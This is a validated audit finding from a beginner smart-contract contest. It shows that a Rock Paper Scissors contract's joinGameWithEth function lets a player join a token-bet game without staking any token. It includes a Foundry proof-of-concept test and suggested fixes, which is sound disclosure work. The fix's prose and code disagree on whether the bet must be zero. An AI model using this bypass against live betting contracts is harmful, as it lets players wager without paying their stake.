Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Function `joinGameWithEth`allows to join a game created with a token as bet

accessdenied

Summary

It is possible to join a game where the bet is with a token (createGameWithTokenwithout betting the token by calling the function joinGameWithEth.

Vulnerability Details

Concerned function: joinGameWithEth

For a game created with createGameWithToken, it is possible to join without betting the token by calling the function joinGameWithEth.

The check msg.value == game.betwill not prevent the attacker to join because since game.betwill be set at zero

Impact

If the attacker loses the game, no bet token will be transfered to the game creator

Tools Used
Manual analysis / Foundry

PoC

function testJoinGameWithTokenThroughETH() public {
uint256 initialBalance = token.balanceOf(playerB);
// First create a game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
​
vm.startPrank(playerB);
// Join game though joinGameWithEth
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
​
//game.joinGameWithToken(gameId);
game.joinGameWithEth(gameId);
vm.stopPrank();
​
// Verify token transfer
assertEq(token.balanceOf(playerB), initialBalance);
assertEq(token.balanceOf(address(game)), 1);
​
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
​
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
​

Recommendations

a) use an enum GAME_BET_TYPE to indicate if the bet is with a token or in ether.
Advantage: can be easily extends to add new type of payment

b) Add a second require inside the function joinGameWithEth which check the game.betis equal to zero

require(game.bet != 0 , "This game requires Token bet");
Updates

Appeal created

m3dython Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.